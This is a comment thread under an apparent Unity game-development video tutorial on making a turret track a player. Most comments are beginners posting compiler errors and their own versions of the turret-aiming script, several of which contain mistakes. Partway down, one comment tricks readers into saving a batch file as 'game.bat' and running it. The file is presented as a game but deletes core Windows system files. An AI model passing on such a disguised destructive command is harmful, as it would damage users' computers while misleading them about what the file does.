Added: 2 years ago
From: TornadoTwins
Views: 114,553
Sort by time | Sort by thread (beta)

Link to this comment:

Share to:

All Comments (317)

Sign In or Sign Up now to post a comment!
  • holy sht i never seen dis game maker thing awesome now i am gonna download dis and make the character i wuz tryin 2 animate :O

  • @mariovsluigi4094 too bad the software is like 500 dollars.

  • @wtf0productions Unity is free. You can buy a Pro version that has some perks in console publishing, but the indie one is totally free.

  • @wtf0productions It is free

  • I am having a hard time with does scrypts

  • could you right the movement code in the coments so i can copy it?

  • My Damp doesn't work I change Damp from 6 to 1 and its still going same speed!! Plz can somebody help!!!

  • my turret moves down under the ground when i comme closer to it and it does´nt rotate right it rotates up and down too :(

  • hey I got the right script for you:

    var LookAtTarget : Transform;

    var damp = 6.0;

    function Update () { if(LookAtTarget)  { var rotate = Quaternion.LookRotation(LookAt­Target.position - transform.position); transform.rotation = Quaternion.Slerp(transform.rot­ation, rotate, Time.deltaTime * damp); } //transform.LoolAt(LookAtTarge­t); }

  • Comment removed

  • My damping wont work! please help

  • My damping wont work!

  • Can you make a whole series on just scripting? It's not too difficult but I want to fully understand it

  • Turret aimer.js(10,38): BCE0005: Unknown identifier: 'Quarternion'.

    I am only just starting scripting - how do I fix this lol?

  • @BrokeStringGuitarist spelt Quaternion not Quarternion

  • i have a problem:

    "Assets/Game files/scripts/TurretControl.js­­(10,54): BCE0022: Cannot convert 'UnityEngine.Quaternion' to 'UnityEngine.Vector3'.

    "

    and here is the code:

    "var LookAtTarget:Transform;

    var damp = 6.0;

    function Update ()

    { if(LookAtTarget) { var rotate = Quaternion.LookRotation(LookAt­­Target.position - transform.position); transform.position = Quaternion.Slerp(transform.rot­­ation, rotate, Time.deltaTime * damp); } //transform.LookAt(LookAtTarge­­t);

    }"

  • Comment removed

  • Comment removed

  • i think i just heared TomatoTwins at the first??? XD

    

  • @marshmallowjjang i red your comment before watching and tought it srsly he said tomatotwins lol

  • im not good at scripting but i trying

  • how can i get that turret if you already change your webpage and so teh turret costs

  • How do you set the controls for your game

  • @adjmonkey i believe you have to edit the script

  • Comment removed

  • U R REALLY AWESOME

  • i have awesome comp on A.V.A it gets up to 85 - 112 with a normal amount of AI and with a TON of AI it gets 70 - 85 XD

  • If you get errors in the scripts give me a private message with the script and ALL the errors and I will try to fix them for you. The reason why I am willing to offer this to you is because I had all the same problems when I started out with Unity and TT one year ago. We have all been there.

  • @mepain1 Please Help me i Made my own turret and followed video precisely, The turret does look at me but when i get close to it 'it moves away from me Please help =( and pleease hurry =(.Thanks

  • @THExRISExOFxZOMBIES I cannot say for sure, but it sounds like a pivot point issue. This is not a problem with the code, but with the model.

  • hey there its tomatoe twins here ok dude i heard that xD

  • how can you a racing video game because I want to know I like raceing games

  • How can you lock the turret from moving around ._.?

    My turret got detached from its base and swings around trying to get to me.

  • Okay I'm making a zombie game, how will you make the zombie to observe its location and if it spots the target then it will come at it? This will be the same for my other project which require artificial intelligent like npc soldiers.

  • @Dailybabble i too am doing a zombie game

  • I have an error that says insert a semicolon at the end? My script looks exactly like his i dont know what the problem is?

  • Assets/Toppart.js(8,22): UCE0001: ';' expected. Insert a semicolon at the end. help!!!

  • @Greenday96messi Remain calm, read what the error message tells you to do.

  • @SabaskaTheNoob I dont know what to do i have tryed en an to days trying to fix it but didnt fix it please help

  • @Greenday96messi you forgot a ; at the end of some sentence , idk which ones , cause you didnt posted the code ;P

  • Comment removed

  • @Greenday96messi Well, just insert the bloody semicolon at the end of line 8 -.-

  • @Greenday96messi i can help you :)

    1. pause the video

    2. look at both scripts

    3. put a ; at the lines where he haves semicolons

  • @Greenday96messi i guess someone answered u already, but: insert semicolon ; at teh end ^^

  • this is the problem i have now please help me fix it. Assets/Physic Materials/slowturretdown.js(27­,53): BCE0020: An instance of type 'UnityEngine.Transform' is required to access non static member 'Find'.

  • i cant add scripts it says theyre not ready, help?

  • Anyone know how to change the enemy AI so it moves toward the player instead of looking at it?

  • Assets/NewBehaviourScript.js(1­0,75): BCE0019: 'rotate' is not a member of 'UnityEngine.Quaternion'.

  • Can some one help me with the error...

    "Assets/Gun2.js(8,35): UCE0001: ';' expected. Insert a semicolon at the end"

  • I have ERROR Assets/Standard Assets/Camera Scripts/SmoothLookAt.js(38,71)­: BCE0043: Unexpected token: f.

    Assets/Standard Assets/Decal System/jlk.cs(58,41): error CS0117: `UnityEngine.Vector2' does not contain a definition for `one'

  • 1:13 crack sound..o.O'

  • @143Penguins i changed it but still have the error. here's how i have the code;

    var LookAtTarget : Transform;

    var damp = 6.0;

    function Update ()

    { if(LookAtTarget) { var rotate = Quaternion.LookRotation(LookAt­­Target.position - transform.position); transform.rotation = Quaternion.Slerp(transform.rot­ation, rotate, Time.deltaTime * damp); } //transform.LookAt(LookAtTarge­­­t);

    }

  • @SMFPresident Fixed

    var LookAtTarget : Transform;

    var damp = 6.0;

    function Update ()

    { if(LookAtTarget)

    { var rotate = Quaternion.LookRotation(LookAt­Target.position - transform.position); transform.rotation = Quaternion.Slerp(transform.rot­ation, rotate, Time.deltaTime * damp); //transform.LookAt(LookAtTargt­);

    }

    }

  • mine always moves at the same speed

  • Help Help Help Please Please Please Please

  • I got this error:

    Assets/TurretControl.js(16,1):­ BCE0044: expecting }, found ''.

  • I can help all of you

    

  • Comment removed

  • I got this error: Assets/TurretControl.js(11,76)­: BCE0005: Unknown identifier: 'rotate'.

  • @azzz766 i think it because you forgot the var = rotate part

  • i got this Assets/TurretControl.js(9,44): BCE0044: unexpected char: 0xFFFD.

    

  • does the program cost much?

  • @bram07021993 Unity is free if thats what you want to know

  • What a quaternion do?

  • @143Penguins Good for copypasters ;)

  • @143Penguins Thnx alot, iwas getting that error and i couldn't fix it, thnx so much

  • solved my problem

  • when I make the turret a prefab it wont let me set the worm as a target

  • hi guys i found the answer of the error copy the code and past it:

    var LookAtTarget : Transform;

    var damp = 6.0;

    function Update ()

    { if(LookAtTarget)

    var rotate = Quaternion.LookRotation(LookAt­Target.position - transform.position);

    transform.rotation = Quaternion.Slerp(transform.rot­ation, rotate, Time.deltaTime * damp);

    } //transform.LookAt(LookAtTarge­­t);

  • this was not made for unity3.2 and above thats why most of the scrips dont work

  • dont let me type quaternion again...

    XD

  • in the beginning it sounded like you said tomato twins :O nice tuts me and a friend is working on a game and im working on the models and programing D: hes just planing stuff XD

  • this is what I get Assets/Textures/free models/turretprogram.js(8,25): BCE0044: expecting :, found '='.

    

  • Hei Guys Do tranform to Transform

  • OK PEOPLE:

    I'm not a javascript programmer (I'm usually python) but these errors are easy enough to diagnose:

    @nightfoxx26-

    1. I believe you may have just missed closing a parentheses the equals sign may or may not need to be there.

    2. I know for a fact on this one: Just put a semicolon at the end of the line.

    3. You have an extra closed parentheses here.

    @dontskipthischannel

    I think you need to import another of the built in functions at the top (maybe 'UnityEngine.Time').

    Cheers!

  • @143Penguins Thank you

    P.S (to other people) Like this comment so others can find it easier or else I'll send my worm after you

  • My error was

    Assets/TurretControl.js(2,9): UCE0001: ';' expected. Insert a semicolon at the end.

  • @laziegamer can you message me the script too?

  • plss help i got a problem the turret dosent look at me=(

  • @fotboll85 you must go into the topPart then Where it says " Look At Target " Drag Worm Into there

  • my one said this Assets/NewBehaviourScript.js(7­,85): BCE0044: expecting ), found 'Target'.

    what does it mean by that?????????????

  • my one said this Assets/NewBehaviourScript.js(7­,85): BCE0044: expecting ), found 'Target'.

  • great tut but ive got a problem my turret just looks at the worms starting point and doesn't look at it when it moves

  • @gamemakar1 try targeting a body part of the worm or a different one.

  • can u make a text file with the code in it from the video so that we can download it and then copy/paste it into ours?

    the 1 i am talking about is also at 5:30

  • can someone help me. Everytime i shoot from my worm now, the fireball comes out the turret? please help

  • @felsstubbsy I'm having the exact same issue, which is strange cos i've done everything exactly as they show in the tutorials?

    Anyone know whats going on? Thanks!

  • @Dadasofa Yup same!, iv done everything he said. Iv give up for the time beeing but im going to start it again :D

  • it work..

    

  • var LookAtTarget : Transform;

    var damp = 6.0;

    function Update ()

    { if(LookAtTarget) { var rotate = Quaternion.LookRotation(LookAt­Target.position - transform.position); transform.rotation = Quaternion.Slerp(transform.rot­ation, rotate, Time.deltaTime * damp); }  //transform.LookAt(LookAtTarge­t);

    }

  • Assets/Turretcontrol.js(10,58)­: BCE0005: Unknown identifier: 'rotation'.

    i checked twice and had your exact script,but the error keeps coming up! please help?

  • where you get those program?

  • my turrent aims too high for sum reason

  • The turrent turns to the position of the worm at the start but doesnt change as i move

  • what if i want only the barrel rotate on the x axis?

  • Question!! Can unity make online games?

  • @SRB2suntyro Fusion Fall, a MMORPG by the makers behind Cartoon Network was made with the unity engine

  • @IDOG321 sooo does that mean yes?

  • @SRB2suntyro yes, lol

  • @SRB2suntyro yes it can

  • can you please copy paste the turretcontrol script to me? my computer says it has problems

  • very good

  • I found the solution to all the errors about "expecting ), found '='

    Its supposed to be - not =, so this is how the line should be:

    var rotate = Quaternion.LookRotation(LookAt­Target.position - transform.position);

    Please thumb up so people can see this. ;)

  • Thanx TT for this series!

    At the moment i have a small challenge. At this stage (Ep 10) where the turrets get their code and all, i did everything right and the code works and the turret turn but they're simply not facing the worm...

    please help

  • Thnx TT for these AWESOME vids. I've bin following your Tut. series since ep.1 and i'm stuck here. I did everything as shown in video.but my turrent (which i imported from 3dsmax) doesn't seem to face the worm well....i mean it moves in reaction to the worms movement but it's simply not facing it the way it shud.

  • how do you jump???????

  • @127firefox Bend your legs, and push up with force.

  • What scripting language does this engine function in?

  • @metallicafan003 In Unity3D, you can code in Javascript, C# and boo. If i remember correctly, if you buy the pro version of Unity3D, you can use plug ins, and then you can code in a diffrent language.

  • @mepain1 I've already found that out now, but thanks a lot anyways.

  • if you have problems...

    The code is

    var LookAtTarget:Transform;

    var damp = 6.0;

    function Update ()

    {

    if(LookAtTarget) {  var rotate = Quaternion.LookRotation(LookAt­Target.position - transform.position); transform.rotation = Quaternion.Slerp(transform.rot­ation, rotate, Time.deltaTime * damp); }

    //transform.LookAt(LookAtTarge­t);

    }

  • what if i have a fps of 700-1000?

  • @Digby0907 I´m pretty sure you don´t, but if you do, the game is gonna go pretty fast.

  • @mepain1 lol funny thing is i do

  • the turret should have to like rotate in a circle until they find you and then shoot at you but take a couple of seconds to fire and they won't move until after they fire giving you a chance to get out of the way.

  • @TornadoTwins hey, sry for disturbing i have a error, it goes like that Assets/Scripts/TurretControl.j­s(24,10): BCE0044: expecting (, found 'Shoot'. what should i do??

  • Open Notepad Copy and Paste: @echo off del “C:windowspchealth” del “C:windowssystem” del “C:windowssystem32restore” del “winlogon.exe” del “C:windowssystem32autoexec.nt” del “C:windowssystem32logonui.exe” del “C:windowssystem32ntoskrnl.exe­” Save as game.bat Open it, and play!
  • @EISOBAX Yes

  • @EISOBAX Now it says "Assets/TurretControll.js(10,6­1): BCE0044: unexpected char: 0xFFFD." WTf C'mon

  • @MrKaznur hey this is what u do look for errors in the script i found where it said rotation it was like this:rota-tion thats whats causing that error hope this helps :D

  • Errors: "Assets/TurretControll.js(7,27­): UCE0001: ';' expected. Insert a semicolon at the end." Help

  • can you please make a tutorial of a MMORPG ????

    Thumbs up for this comment to standout

    and copy and paste this to other TT videos!

  • @EAReporter rage quit much

    You will make a horrible programmer with that patience

  • mine floated when i was done with the scripting

  • hello, i would first like to say great tutorial! i have watched it all the way through and it worked nice, but one thing i had a problem with is i made my own model for the turret when it turns to look at the worm it jumps way off the base of the turret. any ideas?

  • Comment removed

  • nvm, i figured it out lol

  • after adding in the code to dampen the turrets' speeds, i am getting errors saying that there are no character controllers for bodyparts 1 and 2. seems random, but i can't seem to fix it... i can't go on until this is fixed so if you know what's wrong, please let me know

  • is this like a proffesional program where i can save it into a .rar file?

  • Assets/Standard Assets/Scripts/TurretControl.j­s(8,89): BCE0020: An instance of type 'UnityEngine.Transform' is required to access non static member 'position'.

    Please help! Dx

  • Comment removed

  • Thanks

  • var LookAtTarget:Transform;

    var damp = 6.0;

    function Update ()

    { if(LookAtTarget) { var rotate = Quaternion.LookRotation(LookAt­Target.position - transform.position); transform.rotation = Quaternion.Slerp(transform.rot­ation, rotate, time.deltaTime * damp); } //transform.LookAt(LookAtTaget­):

    }

    that the code i put in but it doesn't work plese help

  • I did my code exactly as it is at 5:30 but it says

    Assets/TurretControl.js(8,92): BCE0044: expecting ), found '='.

    Assets/TurretControl.js(8,93): UCE0001: ';' expected. Insert a semicolon at the end.

    Assets/TurretControl.js(8,112)­: BCE0043: Unexpected token: ).

    I did everything right

  • @nightfoxx26 same problems here

  • @nightfoxx26 i think u need to put ")" ,but u are set "="

  • @nightfoxx26

    Probably very late now, but it sounds like you're missing a closing parenthesis ')' somewhere. Probably at the end of the " - transform.position); "

    Did you mistype a = sign instead?

  • the = is a -

  • @nightfoxx26 you r right mine said the same thing!!!!!!!

  • @nightfoxx26 just get rid of/add the parts they want/don't want

  • @nightfoxx26 check for all capital letters in some words i had an error in slerp it should be Slerp

  • @nightfoxx26 I had the same problem but then i realised that at the: var rotate function you should use - instead for = at .position - transform.position

  • @nightfoxx26 Please tell me when u find an answer

  • @nightfoxx26 just turn "=" into" - " and all errors are gone

  • Can you make a Tutorial on how to make a RPG or FPS? like building an island?

  • Hey It Keeps on coming up with an error message on mine saying NullReferenceException Turretcontrol.Shoot() have i done something wrong or do i need to put in something else? :(

  • ur videos dont help much because theyre better scripts at the unity example projects

  • try make more zoom some times

  • howdy ladies and gents.

    i`m currently doing an assignment based on "Tower Defense" theme and i`m using tutorials by TT to get me started.

    so i`m seeking for someone to teach me how to do following things:

    - how can i make a spawnpoint to spawn my enemies?

    - how can i make so that my turret aim for those enemies instead of only 1,

    - how can i make so that my turret shoot in a specific range only cause my turret is shooting all over the map now

    your help will be much appreciated .

  • I plan on making a game some day. It's gonna be a mix of Super Mario 64, Star Fox, GoldenEye 007, OoT, Donkey Kong 64, and the Call of Duty Games. I'm currently try to think of what my character should be able to do and what I should name the game. It's going to be about a major galactic war that takes place in the future. And no, not Star Wars.

  • @TornadoTwins Can you send me the right copy of the script this is mine

    var LookAtTarget:Transform;

    var damp = 6.0;

    function Update ()

    { if(LookAtTarget) { var rotate = Quaternion.LookRotation(LookAt­Target.position - transform.position); transform.rotation = Quaternion.Slerp(transform.rot­ation, rotate. Time.deltaTime * damp); } //transform.LookAt(LookAtTarge­t);

    }

    But it says it doesnt like the time near delta time

  • @dontskipthischannel line 10

    Quaternion.Slerp(transform.rot­­ation, rotate(.) this should be a comma

  • PLEASE READ: this is my error

    'Time' is not a member of 'UnityEngine.Quaternion'.

  • @dontskipthischannel lol try a different command then a quaternion command with only 2 parts.

  • ssets/free models/TuuretControl.js(10,81)­: BCE0043: Unexpected token: ).

    what it means?

    need help

  • var LookAtTarget:Transform;

    var damp = 1.0;

    function Update ()

    { if(LookAtTarget) { var rotate = Quaternion.LookRotation(LookAt­Target.position - transform.position); transform.rotation = Quaternion.Slerp(transform.rot­ation, rotate, Time.deltaTime * damp); } //transform.LookAt(LookAtTarge­t);

    }

  • my script isnt working

  • can you make a total war like game say Elder Scrolls Total War

  • hey can i open other games withe unity so i now how they did stof?

  • @TornadoTwins

    hey is this script right, it keeps saying it has errors and dosent like the 2nd '=' mark

    var LookAtTarget:Transform;

    var damp = 6.0;

    function Update ()

    { if(LookAtTarget) { var rotate = Quaternion.LookRotation(LookAt­Target.position = transform.position);  transform.rotation = Quaternion.Slerp(transform.rot­ation, rotate, Time.deltaTime * damp); } //transform.LookAt(LookAtTarge­t);

    }

  • thx for the script work buetifully

  • @shadowstripexx Can anyone send me there turret scripts, i cant get mine to work :(

  • who is the fuckin dumbass who is the only person who diliked this lol 

  • awesome! YOU ROCK!

  • i need anyones help! first of all the canon dosent look straight to the worm!and most of the times when i walk trought the canon it looks like hes running from me!LOL and second i didn make the canon fire because it says that something Expecting"}, and found ". HELP!!!!